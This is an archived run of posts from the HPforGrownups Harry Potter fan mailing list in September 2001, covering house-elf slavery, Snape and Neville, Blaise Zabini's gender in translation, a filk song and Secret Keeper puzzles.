From: b.jebenstreit at biologie.uni-bielefeld.de (b.jebenstreit at biologie.uni-bielefeld.de)
Date: Thu, 27 Sep 2001 13:56:32 -0000
Subject: House Elves/Harry & Jealousy/LOLLIPOPS
In-Reply-To: <9otp0r+9a68@eGroups.com>
Message-ID: <9ovb6g+74to@eGroups.com>

No: HPFGUIDX 26772

--- In HPforGrownups at y..., blpurdom at y... wrote:
> I've been unable to read posts since Monday, but I'm caught up now.  
> Gracious, I didn't know what I was starting with the post about 
> wizarding caste system.  I must disagree, however, with the response 
> that said the theory wasn't valid because house-elves aren't human.  
> Has everyone read Fantastic Beasts and Where to Find Them?  Many 
non-
> human magical creatures are said to participate with wizards in 
> working out who has what status in the magical world.  Perhaps in 
> addition to the canon books, we should start doing 
> summaries/questions/discussions based on the school books as well 
(FB 
> and Quidditch Through the Ages).
> 
> Since the caste/slavery/housewives thread began with a defense of 
> Hermione, I would like to bring it full circle and suggest that 
> although she would still make a lousy anthropologist, Hermione's 
> heart is in the right place and her attitude toward the house elves 
> is another way for JKR to illustrate her basically liberal 
attitudes; 

Okay, I am new - so if I rehash anything old please forgive me...

I have moved this to a separate thread, because this is a fine bridge 
to a personal pet theory of mine and I?d like your feedback on it.

First, I?d like to point out, that I agree with Hermione. The way the 
house elves live, is slavery. They recieve no pay (house servants that 
are not slaves do), have neither health insurance nor are they granted 
security in age, they are not free to go where they like (Dobby sneaks 
away) which will affect their social system. The house elves in 
Hogwarts might be treated well, but that certainly is not the case for 
others elsewhere. Dobby selfinflicted hurts *are* hurts. He might 
behave this way because he was taught, or because he was under a 
magical compulsion - but he was hurt.
There have been many systems in history that did not obviously look 
like slavery - feudal systems for example. In other systems, slaves 
were treated with respect and as a part of the family - Greek tutors 
in ancient Rome for example. That does not change however, that if you 
are forced to stay - you are essiantially a slave. And that, in my 
very humble opinion - is wrong.

Second: Hermione?s plight has not been welcomed by the elves or the 
wizards/witches. I have read an interview in which JKR pointed out, 
that - even if we would like human nature to be different - oppressed 
people usually *don?t* stick together. People try to arrange with the 
authorities and are glad they don?t belong to those that are better 
off.  For example: from what I know of my history class, so called 
"house servants" in the pre-civil US south regarded themeselves as 
better off as the "field slaves". In such a mental climate, it is 
difficult for thoughts of freedom find a place for holding. When Dobby 
holds his "speaches" the other elves don?t ridicule him. They fall 
silent and send Harry, Ron and Hermione off. They are afraid.

Third: for a freedom movement to develop, something must happen. For 
example, the conditions - acceptable if barely so - turn worse. If 
your life is threatened, you act because punishment won?t hurt you if 
you are dead. Another example is the age old tradition of a martyr 
whose dead rattles those who remain.
Which makes me wander, if the "special fan" who is supposed to die in 
OoP will be Dobby. Because:
1) "Special fan" is a fine way to describe him.
2) He is the kind of loyal kick off who would jump between the bullet 
and its intended target.
3) It is the death of a character, that is closer to the core 
characters (unlike Cedric) without killing one of these. From the 
writer?s point of view: it rattles us more.
4) It allows to continue Hermione?s S.P.E.W. project and ties it in 
with the rest of the story. House elves are often underestimated. They 
make fine allies: they are loyal, helpful, clever, tiny (get by 
without being noticed), are magical (at least in a small scope, 
possible more) - and they are everywhere! Even in the houses of 
deatheaters - surely neither Lucius nor Narcissa Malfoy clean the 
house him/herself? In Hogwarts. If the elves do not feel bound to obey 
their master no matter what they could be powerful allies indeed. At 
least as powerful and useful as the giants - possibly more. 
Even Winky might be propelled to take up Dobby?s fight if he cannot do 
so anymore.
So, what do you think? Will the elves turn out to be allies? And will 
Dobby have to die for it - or will Hermione mangage it without that?
Ethanol




From b.jebenstreit at biologie.uni-bielefeld.de  Thu Sep 27 14:18:38 2001
From: b.jebenstreit at biologie.uni-bielefeld.de (b.jebenstreit at biologie.uni-bielefeld.de)
Date: Thu, 27 Sep 2001 14:18:38 -0000
Subject: Hermione's Knowledge of the Longbottoms
In-Reply-To: <9ot98a+2g85@eGroups.com>
Message-ID: <9ovcfv+bbmb@eGroups.com>

No: HPFGUIDX 26773

--- In HPforGrownups at y..., catherine at c... wrote:
> --- In HPforGrownups at y..., cynthiaanncoe at h... wrote:

Knowing, however, the amount of research Hermione 
> does - after all, she knew all about Harry from her pre-Hogwarts 
> research, it wouldn't surprise me if she had read something about 
> Neville's parents and put two and two together....


 
> If this is the case, it just shows what a discreet and sensitive 
> person Hermione is.  She, like Dumbledore, would appreciate the fact 
> that if Neville wanted to share this part of his life, he would do 
> so.  It reinforces the what we already know - Hermione is very good 
> at keeping secrets, and knows when to reveal things she knows - such 
> as delaying telling Ron and Harry about her capture of Rita Skeeter, 
> knowing that Harry in particular had other things on his mind to 
care.
> 
> It is also possible that Neville confided in Hermione - she does 
seem 
> to have a good relationship with him, which may or may not go beyond 
> her propensity to champion the underdog and collect lame ducks.  
> (Aside to Heidi - perhaps the time she doesn't spend with Harry is 
> spent with Neville, not Draco?)...

Neville telling her and Hermione finding out is both possible, at the 
same time. Hermione being thoughtful and polite towards Neville, 
because she has found out about his parents. And him confinding in 
her, because she has always been friendly to him (after all, he asked 
her out for the ball before Neville did).

> 
> Cindy's post also raised other issues about the way Neville is 
> treated.  I am sure that the staff know his unfortunate history - 
> they were, after all adults when the Lestranges and Barty Crouch jnr 
> were brought to trial, and the case did generate a great deal of 
> public feeling.  I find it interesting how, therefore, they behave 
> towards him.  Snape - absolutely inexcusable.  There have been 
> attempts to explain Snape's behaviour as trying to "toughen" Neville 
> up.  I don't buy this - particularly because, after four years, he 
> should have realised that it isn't working....

One of the reasons I like Snape, is because he has all the failings 
real humans do. I agree - treating pupils that way is unexcusable (I 
hope I will do better some day).
But from both the point of a pupil and a college student trying to 
become a teacher - I know that there are teachers who believe they 
help their pupils by treating them that way. Sure, it is not likely to 
succeed. But they try anyway. My guess is: they are helpless, because 
don?t know what else to do with such pupils.
Don?t hit me, but I think Snape will become DADA teacher at the end of 
the series. He has the knowledge and the skills. And the way they are 
using them up, there is bound to be an opening for DADA teachers. But 
only *after* he has done his part of learning. How to treat students 
like Neville, for example.

> 
> One more thing on Neville - it has been postulated before (and I do 
> agree with this) that Neville's bad memory is akin to Bertha Jorkins 
-
>  ie. he was traumatised in some way by what happened to his parents 
> and had a memory charm put on him.  I am wondering if his near-
> squibness is also related to this.  The trauma of his early life 
> having the opposite affect it had in Harry's, in that he suppressed 
> his magical ability somehow?  

Interesting thought. I am undicided on the trauma issue. But even for 
an absend minded person Neville *is* unbelievably absent minded. And 
like it is with Harry, magic comes to him, if it is necessary. It is 
not for luck of skill, that he keeps failing. It is because of lack of 
memory and nervousness and confidence.
Ethanol




From aiz24 at hotmail.com  Thu Sep 27 14:37:42 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 27 Sep 2001 14:37:42 -0000
Subject: Harry & Jealousy
In-Reply-To: <9ov89k+273f@eGroups.com>
Message-ID: <9ovdjm+c6j9@eGroups.com>

No: HPFGUIDX 26774

4F wrote:

> Envy, on the other hand, is a more dangerous thing, as it has no 
> justification.  It is, like lust and greed, one of the Seven 
> Reputedly Deadly Sins, and must be guarded against.  Ron is envious 
> of Harry's notoriety, Harry of Ron's anonymity.  How they handle 
> these natural but dangerous impulses determines the extent to which 
> envy is a theme worth discussing.

For those who aren't aware of it, listie Peg Kerr posted essays on the 
Seven Deadly Sins (and the Seven Heavenly Virtues) that are in the 
Files section:

http://groups.yahoo.com/group/HPforGrownups/files/ESSAYS%20-%20Peg%20K
err/

She talks quite a bit about Harry's envy of *Dudley*--interesting.

Amy Z

-------------------------------------------------------------
   "What's this?" he asked Aunt Petunia.  Her lips tightened
 as they always did if he dared to ask a question.
   "Your new school uniform," she said.
   Harry looked in the bowl again.
   "Oh," he said, "I didn't realize it had to be so wet."
                           -HP and the Philosopher's Stone 
-------------------------------------------------------------




From coriolan at worldnet.att.net  Thu Sep 27 15:23:02 2001
From: coriolan at worldnet.att.net (Caius Marcius)
Date: Thu, 27 Sep 2001 15:23:02 -0000
Subject: Who's Come Back? (filk)
Message-ID: <9ovg8m+crmc@eGroups.com>

No: HPFGUIDX 26775

Who's Come Back? (from PoA)

(To the tune of Yakety Yak)

Dedicated to Jenny of Ravenclaw

(THE SCENE: Before Hogwarts' Castle.  With Sirius Black on the loose, 
security measures are increasingly tightened.)

DUMBLEDORE 
We must now tell you with regret
Hogwarts is facing a grave threat
The man who's known as Voldy's heir
Is bringing us his new nightmare

CHORUS OF STUDENTS
Who's come back?  Sirius Black!

FUDGE
If you're in Hogsmeade for some fun
Or just to get some shopping done
Please do not stay out after eight
`Cause dementors will get irate

CHORUS
Who'll attack?  Sirius Black!

McGONAGALL
Until this danger gets downsized
Make sure passwords are memorized 
Then gather up your sleeping bags
And ignore Percy while he brags 

CHORUS
On our track?  Sirius Black!

HERMIONE
That fugitive is unabashed
That he the poor Fat Lady slashed
Her slot's now filled by Cadogan
Who keeps on going mad again

CADOGAN
Wanna crack at Sirius Black!

HARRY
As Ron was slumbering in bed
We heard such screams that'd wake the dead
He claimed that Black was in our midst
Then Neville `fessed he'd lost his list

CHORUS
Was Neville slack? Sirius Black!

SNAPE
We signed up trolls to maintain guard
I've searched through ev'ry inch and yard
And Filch has plastered ev'ry hole
If Black gets in, it's with a mole
Wolfman Jack & Sirius Black

ALL & CHORUS
Sirius Black! Sirius Black!
Get ready for his next attack!
Sirius Black! Sirius Black!
We're gonna stop that maniac!

   - CMC

HARRY POTTER FILKS 
http://home.att.net/~coriolan/hpfilks.htm 





From rowena_grunnion_ffitch at yahoo.com  Thu Sep 27 15:45:11 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Thu, 27 Sep 2001 08:45:11 -0700 (PDT)
Subject: [HPforGrownups] Blaise, Boy or Girl? (was Hermione's Friends)
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2DD0@MIAEXCH1>
Message-ID: <20010927154511.25078.qmail@web20804.mail.yahoo.com>

No: HPFGUIDX 26776



--- "Tandy, Heidi"
<heidi.h.tandy.c92 at alumni.upenn.edu> wrote:
> In the german and hebrew versions, listies have
> said, the Blaise pronuns and
> nouns are feminine.

    When does Blaise appear other than at the sorting?
I can't remember. I opted for male because 'Blaise'
was the name of a great wizard, the teacher of Merlin,
(interestingly according to some versions he was also
a giant). Personally I feel sorry for any little girl
named Blaise, (or Hermione for that matter ;)

__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com



From heidi.h.tandy.c92 at alumni.upenn.edu  Thu Sep 27 15:59:14 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (heidi.h.tandy.c92 at alumni.upenn.edu)
Date: Thu, 27 Sep 2001 11:59:14 EDT
Subject: [HPforGrownups] Blaise, Boy or Girl? (was Hermione's Friends)
Message-ID: <42.1afe00a1.28e4a6d2@aol.com>

No: HPFGUIDX 26777

In a message dated 9/27/01 11:45:42 AM Eastern Daylight Time, 
rowena_grunnion_ffitch at yahoo.com writes:


>     When does Blaise appear other than at the sorting?
> I can't remember. I opted for male because 'Blaise'
> was the name of a great wizard, the teacher of Merlin,
> (interestingly according to some versions he was also
> a giant). Personally I feel sorry for any little girl
> 

On the HP_Fanfiction Mailing List, Yael, who is one of this list's Israeli 
members, provided an explanation at 
http://groups.yahoo.com/group/HP_FanFiction/message/3823
For those of you who aren't members of that list, I'm going to cut & paste 
part of her reply here, because I don't think she'd mind...
Yael wrote: 
In the Hebrew, every noun has a gender, and every verb that acts on that noun 
had to be in the right form for the gender (basically, there are up to a few 
dozen forms for each verb).When they translated:'Zabini, Blaise,' was made a 
Slytherin.What literally came out was: 'Zabini, Blaise,' 
was-a-female-who-became (one word) to-Slytherin.    
    
On that list, CJK has the Russian version, and reported that in the Russian 
translation of PS/SS Blaise is also a girl. The translation of the Russian 
version, according to CJK, says that "...as the female-last-one in the roll, 
Blaise Zabini,was already female-going to the Slytherin table." 
    



[Non-text portions of this message have been removed]




From djtarb at aol.com  Thu Sep 27 16:13:20 2001
From: djtarb at aol.com (djtarb at aol.com)
Date: Thu, 27 Sep 2001 12:13:20 EDT
Subject: [HPforGrownups] Hermione's Knowledge of the Longbottoms
Message-ID: <9d.1be8ff8e.28e4aa20@aol.com>

No: HPFGUIDX 26778

In a message dated Wed, 26 Sep 2001  1:48:40 PM Eastern Daylight Time, cynthiaanncoe at home.com writes:

> 
> As for why Snape can't find it in his heart to give poor Neville a 
> break . . . well, I'll let the Snape fans field that question.
>
 
I'm not a full-fledged Snape fan (I'm in the wait-and-see, but he's certainly intriguing category), but if he was questioned by the Aurors he may not want to be nice to ANY of their kids.  Let's not forget that the Aurors were permitted to use all sorts of torments on suspected Death Eaters, including some of the Unforgiveable Curses.  If Neville's dad was one of his questioners, he'd really have a grudge.  Snape has never shown himself to be overburdened by a sense of fairness, so it is entirely in character to take out his past injuries on Neville, just as he has done with Harry.

Diane in Philly



From absinthe at mad.scientist.com  Thu Sep 27 16:09:24 2001
From: absinthe at mad.scientist.com (Milz)
Date: Thu, 27 Sep 2001 16:09:24 -0000
Subject: Blaise, Boy or Girl? (was Hermione's Friends)
In-Reply-To: <20010927154511.25078.qmail@web20804.mail.yahoo.com>
Message-ID: <9ovivk+bgh9@eGroups.com>

No: HPFGUIDX 26779

--- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
<rowena_grunnion_ffitch at y...> wrote:
> 
> 
> --- "Tandy, Heidi"
> <heidi.h.tandy.c92 at a...> wrote:
> > In the german and hebrew versions, listies have
> > said, the Blaise pronuns and
> > nouns are feminine.
> 
>     When does Blaise appear other than at the sorting?
> I can't remember. I opted for male because 'Blaise'
> was the name of a great wizard, the teacher of Merlin,
> (interestingly according to some versions he was also
> a giant). Personally I feel sorry for any little girl
> named Blaise, (or Hermione for that matter ;)
> 

There's also St. Blaise, an early Christian martyr and Catholic saint, 
who's the patron saint of throat illnesses. St. Blaise was a 'he'.

I suppose we can assume that Zambini's parents comes from a wizarding 
family or they are Roman Catholics ;-)

Interestingly though, St. Blaise is also the patron saint of wild 
animals and talked a wolf into giving a pig back to its owner. Maybe, 
Blaise Zambini will have a part to play in the future books?





From aiz24 at hotmail.com  Thu Sep 27 16:45:06 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 27 Sep 2001 16:45:06 -0000
Subject: Handwriting in FB
In-Reply-To: <9ouk7o+e52d@eGroups.com>
Message-ID: <9ovl2i+ga4f@eGroups.com>

No: HPFGUIDX 26780

frantyck wrote:

>This was first brought up by Amy Z ages 
>ago, so says the message archive. Trina offered some analysis. Both 
>anticipated some of the points I make.

...and Amy Z is so glad someone picked up on it and delivered a 
detailed analysis worth waiting 6 months for!  This was very 
interesting.

There is a difference in Harry's signature between editions (US and 
UK, I think, or maybe it's between the novels and FB?  I'll have to 
check).  The guilty little loop on the y is not always there.

Amy Z
whose y has changed radically at least three times and currently 
vacillates between having a big loop and being curveless like a 
printed p--care to analyze that?




From frantyck at yahoo.com  Thu Sep 27 17:16:55 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Thu, 27 Sep 2001 17:16:55 -0000
Subject: Handwriting in FB
In-Reply-To: <9ovl2i+ga4f@eGroups.com>
Message-ID: <9ovmu7+ufqb@eGroups.com>

No: HPFGUIDX 26781

--- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
> There is a difference in Harry's signature between editions (US and 
> UK, I think, or maybe it's between the novels and FB?  I'll have to 
> check).  The guilty little loop on the y is not always there.
> 

Is that true? Hmm. I don't have the US editions of the four main 
books, so I'll have to run down to the library. Thanks for pointing 
this out.

Wonder how Rowling did this. I BET she either

a) found herself a handwriting book and went from there, or

b) got her friends or friends of her daughter's to scribble in the 
text for her. I know who I'd choose, were I preparing FB!

It's a pretty decent job, I think.

Rrishi




From absinthe at mad.scientist.com  Thu Sep 27 17:23:36 2001
From: absinthe at mad.scientist.com (Milz)
Date: Thu, 27 Sep 2001 17:23:36 -0000
Subject: Handwriting in FB
In-Reply-To: <9ovmu7+ufqb@eGroups.com>
Message-ID: <9ovnao+um3t@eGroups.com>

No: HPFGUIDX 26782

--- In HPforGrownups at y..., frantyck at y... wrote:
> --- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
> > There is a difference in Harry's signature between editions (US 
and 
> > UK, I think, or maybe it's between the novels and FB?  I'll have 
to 
> > check).  The guilty little loop on the y is not always there.
> > 
> 
> Is that true? Hmm. I don't have the US editions of the four main 
> books, so I'll have to run down to the library. Thanks for pointing 
> this out.
> 
> Wonder how Rowling did this. I BET she either
> 
> a) found herself a handwriting book and went from there, or
> 
> b) got her friends or friends of her daughter's to scribble in the 
> text for her. I know who I'd choose, were I preparing FB!
> 
> It's a pretty decent job, I think.
> 

I remember talk-show hostess, Rosie O'Donnell, saying that she wrote 
Molly Weasley's signature in the US ed of GoF.

Rowling probably did some of the signatures herself or got other 
people to write them. The Dumbledore signatures in FB and QTA were 
most likely done with a pen requiring a nib, probably a dip pen, and 
probably by someone who doesn't write with that kind of implement from 
the uneveness of the penmanship. But it does add character, rather 
than implying poor penmanship.

Milz




From cynthiaanncoe at home.com  Thu Sep 27 17:37:55 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 27 Sep 2001 17:37:55 -0000
Subject: Hermione's Knowledge of the Longbottoms/Snape
In-Reply-To: <9d.1be8ff8e.28e4aa20@aol.com>
Message-ID: <9ovo5j+2odu@eGroups.com>

No: HPFGUIDX 26783

--- In HPforGrownups at y..., djtarb at a... wrote:
> In a message dated Wed, 26 Sep 2001  1:48:40 PM Eastern Daylight 
Time, cynthiaanncoe at h... writes:
> 
> > 
> > As for why Snape can't find it in his heart to give poor Neville 
a 
> > break . . . well, I'll let the Snape fans field that question.
Dianne wrote:> >
>  
> I'm not a full-fledged Snape fan (I'm in the wait-and-see, but he's 
certainly intriguing category), but if he was questioned by the 
Aurors he may not want to be nice to ANY of their kids.  Let's not 
forget that the Aurors were permitted to use all sorts of torments on 
suspected Death Eaters, including some of the Unforgiveable Curses.  
If Neville's dad was one of his questioners, he'd really have a 
grudge.  Snape has never shown himself to be overburdened by a sense 
of fairness, so it is entirely in character to take out his past 
injuries on Neville, just as he has done with Harry.
> 

Diane, that is a great theory.  It never occured to me before.  One 
thing we know about Snape from PoA is that he's capable of holding a 
grudge.  In GoF, I always figured that Snape has issues with Moody, 
perhaps because Moody accused Snape of being a DE or something.  But 
it could have been the Longbottoms.  If so, then I wouldn't put it 
past Snape to be hard on their son, just the way he's being hard on 
Harry because of his dislike for James.

Assuming, of course, that this is the reason Snape is hard on Harry.  
I'm still not convinced.

Cindy (who finds Snape intriguing, but can't quite figure out a way 
to like him.)




From michelleapostolides at lineone.net  Thu Sep 27 17:39:13 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Thu, 27 Sep 2001 18:39:13 +0100
Subject: Chat
Message-ID: <010801c1477b$5c428f60$5040063e@tmeltcds>

No: HPFGUIDX 26784

Christian and I are in chat if you want to join us. 

18.39 UK time 

Michelle




From lee_hillman at urmc.rochester.edu  Thu Sep 27 17:49:59 2001
From: lee_hillman at urmc.rochester.edu (Hillman, Lee)
Date: Thu, 27 Sep 2001 13:49:59 -0400
Subject: House Elves (again)
Message-ID: <95774A6A6036D411AFEA00D0B73C864303B05481@exmc3.urmc.rochester.edu>

No: HPFGUIDX 26785

Greetings from Gwen!

Well, I've been staying quiet on this thread up until now, but I can't keep
my peace anymore. Of course, I would get involved _after_ having packed up
the books for my office move tomorrow.... but I'll do my best to get it
right without the sources.

Barb wrote:
> Gracious, I didn't know what I was starting with the post about 
> wizarding caste system.  I must disagree, however, with the response 
> that said the theory wasn't valid because house-elves aren't human.  
> Has everyone read Fantastic Beasts and Where to Find Them?  Many non-
> human magical creatures are said to participate with wizards in 
> working out who has what status in the magical world.  

Yes. The two groups mentioned are, as I recall, Centaurs and Merpeople.
These are both species which as a rule have little to no contact with human
beings, the one living in enclaves in the forest and who "keep themselves to
themselves, mostly" (Hagrid, PS/SS), and the other living underwater. In
both cases, they were invited to be beings but DECIDED to be classified as
beasts. House Elves, however, are included as beings, and there are offices
at the Ministry designed to handle relationships with them, however
ineffective they might be. 

However, I continue to disagree with a straight allegory to slavery for
precisely that reason: House elves, as they have been presented, Are. Not.
Human. Just because JKR uses other species as object lessons, does it
necessarily follow that ALL other beings whom we encounter also serve as an
allegory to a human social issue? (Boring and obvious, IMO, if that's all
she's doing.)


Ethanol continued:
> 
> First, I?d like to point out, that I agree with Hermione. The way the 
> house elves live, is slavery. 
> <snip>
> There have been many systems in history that did not obviously look 
> like slavery - feudal systems for example. In other systems, slaves 
> were treated with respect and as a part of the family - Greek tutors 
> in ancient Rome for example. That does not change however, 
> that if you 
> are forced to stay - you are essiantially a slave. And that, in my 
> very humble opinion - is wrong.
> 

I feel this should go without saying, but it seems to need stating: I'm
seeing a propensity to conclude that people who say Hermione is wrong to
jump in to the house-elf debate also condone slavery. I don't think that's
the case. I don't think Amy Z or anyone else who has voiced an anti-Hermione
opinion (or even elves aren't human opinion) thinks slavery is a Good Thing.
I certainly don't. You are correct: slavery is wrong. The way house-elves
are treated is by and large deplorable. They are not given rights. They
deserve breaks and holidays and all the privileges you listed. 

HOWEVER, I do not think it necessarily follows that the house-elves have any
wish for OCCUPATION other than what they are doing. They may wish for and
subsequently fear gaining the respect of humans, but that does not
necessarily equate to "freedom." For example, I have postulated both in my
fic and on this list that there may be a condition of being a house-elf that
requires occupation in service of some kind for survival. There are
creatures in lore who must serve to survive, or at least to maintain their
powers. That does not necessarily mean they must be slaves, that is, with no
rights or respect afforded to them. But what if--setting aside all social
commentary and ethical allegory and everything else--what if just maybe a
House-elf who does _not_ selflessly contribute to the well-being of some
other creature loses his powers over time? What if his magical ability and
existence are inextricably tied to the self-sacrificing acts which he
commits in the service of others? It's possible. 

Now, what if we accepted that hypothesis for the moment and tried to place a
backdrop of social commentary against it. Could the message then be that
humans are in fact only as powerful as they are valued? Could it be that
human lovingkindness, that human self-sacrifice for the benefit of others,
is the key to living meaningful lives and making the world a better place?
Could it possibly be that it is by giving of ourselves, with no expectation
of reward or payment, that we truly find enlightenment?

Or is that too subtle? 

Let's see if it can be borne out in Ethanol's other points.

> Second: Hermione?s plight has not been welcomed by the elves or the 
> wizards/witches. 
> When Dobby 
> holds his "speaches" the other elves don?t ridicule him. They fall 
> silent and send Harry, Ron and Hermione off. They are afraid.
> 

If house-elves must be engaged in some sort of service, and paying them
upsets the order of things such that it might be impossible to find such
service, which would potentially threaten their very existence, does it not
follow that they might be afraid of this possibility? Does it not follow
that they might reject it out of hand, accepting the devil they know before
one they do not? Doesn't it also follow that Dobby is clearly progressive
and that the others, who are lucky enough not to have a cruel master, feel
no need to change their lives, seeing that they have all the power and
amenities they need?

> Third: for a freedom movement to develop, something must happen. For 
> example, the conditions - acceptable if barely so - turn worse. If 
> your life is threatened, you act because punishment won?t hurt you if 
> you are dead. Another example is the age old tradition of a martyr 
> whose dead rattles those who remain.

Yes, something must happen, and we might still see a minor revolt on the
part of those elves who decide to serve a higher purpose than that of their
masters. They may decide that the "selfless service to good" is more
important than the family they are assigned to.

Again, this is not to condone slavery or the disrespect of any people based
on a characteristic that makes them different. It is merely an exploration
of the various kinds of possibilities available when dealing with a species
that is more-or-less made up and definitely not the same as us. 

It's also possible that, for example, there is a higher magic at work which
punishes house-elves who disobey. Whether that source is from wizards or
some other, older, more powerful order of things, it may be that some type
of curse affects the family of house-elves who go against their master's
express wishes. Thus, Dobby chose to punish himself physically in a possible
effort to avoid a deeper curse lying on him and his loved ones, or even to
forestall greater repercussions. Though he does indicate in CoS that Malfoy
does not know about his forays to Harry and Hogwarts, there is still an
indication that house-elves understand the implicit intentions of their
masters. 

> House elves are often 
> underestimated. They 
> make fine allies: they are loyal, helpful, clever, tiny (get by 
> without being noticed), are magical (at least in a small scope, 
> possible more) - and they are everywhere! 

Also true, but I believe that, for the reasons I listed above, there are
some natural limitations on what they can do and when/how they can do it.
Again, not because I think it's right to oppress others, but because of the
freedom that an author faces when she has such ingenious plot devices at her
fingertips. The elves, IMO, are important, and they will be allies, but they
have no wish to jeopardize their own existence--they'll need to find ways to
assure themselves of a. a future, and b. minimal negative repercussions,
before they can change allegiance.

I do think Dobby might be a casualty, but I don't know that that is what
will convince the house-elves to risk themselves in the fight. If anything,
I think we will see their influence in subtle ways, at least up until the
final battle.

Preparing for the backlash,

Gwen



From catherine at cator-manor.demon.co.uk  Thu Sep 27 18:34:05 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Thu, 27 Sep 2001 18:34:05 -0000
Subject: Double Secret Keepers?
Message-ID: <9ovret+l3c5@eGroups.com>

No: HPFGUIDX 26786

Just listening to Fudge's account of what happened prior to the 
Potters being murdered, and I heard that Sirius Black was planning on 
going into hiding.  I thought struck me.  If Sirius was originally 
going to be their Secret Keeper, then why couldn't James or Lily be 
his Secret Keeper?  That way all of them would have been impossible 
to find.

Why didn't they think of that?

Catherine
(BTW:  I know the answer is that otherwise most of the plot in PoA 
would be redundant, but still...)






From s_luhtanen at hotmail.com  Thu Sep 27 18:42:10 2001
From: s_luhtanen at hotmail.com (s_luhtanen at hotmail.com)
Date: Thu, 27 Sep 2001 18:42:10 -0000
Subject: Chapter 8 Summary: The Quidditch World Cup
In-Reply-To: <8oie04+7ctl@eGroups.com>
Message-ID: <9ovru2+t2mm@eGroups.com>

No: HPFGUIDX 26787

--- In HPforGrownups at y..., "Rita Winston" <catlady at w...> wrote:
> --- In HPforGrownups at egroups.com, "Jen Piersol" <jenP_97 at y...> 
wrote:
> 
> > Finally, in a desperation move to save some semblance of his 
pride,
> > Krum captures the snitch, even though Bulgaria is down by 160 
> > points and it's not going to win them the game
> 
> We don't KNOW that it's his pride (we don't know at all WHY), it's 
> just that Harry stated that it was his pride. 

Quite. Not pride - it was sound tactics!
Bulgarian strong point was their Seeker, Krum.
Irish strong point was their team-work in gaining points by the big 
red ball.

Therefore, Bulgarian strategy: Get the snitch as fast as possible.
           Irish strategy: Score, score and score while keeping the 
game going on!

This, and the speed of the game dictates that Krum will catch the 
snitch - no matter who wins. The twins knew enough of Quidditch and 
the teams to know the strategies. They [i]knew[/i] that Krum would 
catch the snitch - and had faith on Irish team to score more than 150 
points before that. Time is essential here... They don't need 
divination - only knowledge on a) shortest game - standard 
statistics, of course. and crucial: b) how fast the Irish team scores 
151? If b) takes less time than a) - then it's pretty safe to make 
just that bet!




From s_luhtanen at hotmail.com  Thu Sep 27 19:07:59 2001
From: s_luhtanen at hotmail.com (s_luhtanen at hotmail.com)
Date: Thu, 27 Sep 2001 19:07:59 -0000
Subject: Double Secret Keepers?
In-Reply-To: <9ovret+l3c5@eGroups.com>
Message-ID: <9ovtef+t4pj@eGroups.com>

No: HPFGUIDX 26788

--- In HPforGrownups at y..., catherine at c... wrote:
> Just listening to Fudge's account of what happened prior to the 
> Potters being murdered, and I heard that Sirius Black was planning 
on 
> going into hiding.  I thought struck me.  If Sirius was originally 
> going to be their Secret Keeper, then why couldn't James or Lily be 
> his Secret Keeper?  That way all of them would have been impossible 
> to find.
> 
> Why didn't they think of that?
> 
> Catherine
> (BTW:  I know the answer is that otherwise most of the plot in PoA 
> would be redundant, but still...)

Couple of reasons: a) Because the Spell itself makes it impossible.
b) Should there be a necessity to reach the Potters, it'd be 
impossible if such thing was done - or just recieving mail! 
(Findantilus also works on Owls, I think...)




From rowena_grunnion_ffitch at yahoo.com  Thu Sep 27 20:04:33 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Thu, 27 Sep 2001 13:04:33 -0700 (PDT)
Subject: [HPforGrownups] Blaise, Boy or Girl? And OT Rant On Language
In-Reply-To: <42.1afe00a1.28e4a6d2@aol.com>
Message-ID: <20010927200433.31619.qmail@web20805.mail.yahoo.com>

No: HPFGUIDX 26789


--- heidi.h.tandy.c92 at alumni.upenn.edu wrote:

> Yael wrote: 
> In the Hebrew, every noun has a gender, and every
> verb that acts on that noun 
> had to be in the right form for the gender
> (basically, there are up to a few 
> dozen forms for each verb).When they
> translated:'Zabini, Blaise,' was made a 
> Slytherin.What literally came out was: 'Zabini,
> Blaise,' 
> was-a-female-who-became (one word) to-Slytherin.    
>     
> On that list, CJK has the Russian version, and
> reported that in the Russian 
> translation of PS/SS Blaise is also a girl. The
> translation of the Russian 
> version, according to CJK, says that "...as the
> female-last-one in the roll, 
> Blaise Zabini,was already female-going to the
> Slytherin table." 

   So basically what this means is translators assumed
Blaise was a girl. Would it be all right if I went on
thinking of him as a boy?
   You know sometimes I'm very grateful to be a native
English speaker - other languages sound so
*complicated* with their genders and tenses and God
knows what else.
   I understand once upon a time (c. 800-900) English
was much the same (genders, tenses etc.) and we have
the Danes to thank for the much easier language we
speak today. It seems that after the Vikings gave up
looting and pillaging and settled down in East Anglia
they, naturally enough, took Saxon wives who they
eventually had to communicate with, ('Pork for dinner
again!', 'Honey, could you bring me back some red
cloth from town?' and so forth). While Danish and Old
English were very similiar they were not identical and
these mixed couples produced a lingua franca with
simplified grammer that caught on big time and evolved
into modern English. For which I for one am profoundly
grateful.
   
   


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From catherine at cator-manor.demon.co.uk  Thu Sep 27 20:18:04 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Thu, 27 Sep 2001 20:18:04 -0000
Subject: Double Secret Keepers?
In-Reply-To: <9ovtef+t4pj@eGroups.com>
Message-ID: <9p01hs+c6vh@eGroups.com>

No: HPFGUIDX 26790

--- In HPforGrownups at y..., s_luhtanen at h... wrote:
> --- In HPforGrownups at y..., catherine at c... wrote:
> > Just listening to Fudge's account of what happened prior to the 
> > Potters being murdered, and I heard that Sirius Black was 
planning 
> on 
> > going into hiding.  I thought struck me.  If Sirius was 
originally 
